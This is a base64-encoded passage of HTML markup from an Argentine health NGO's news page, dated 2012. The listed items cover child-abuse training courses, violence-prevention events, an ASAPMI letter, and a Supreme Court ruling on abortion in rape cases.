AgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBt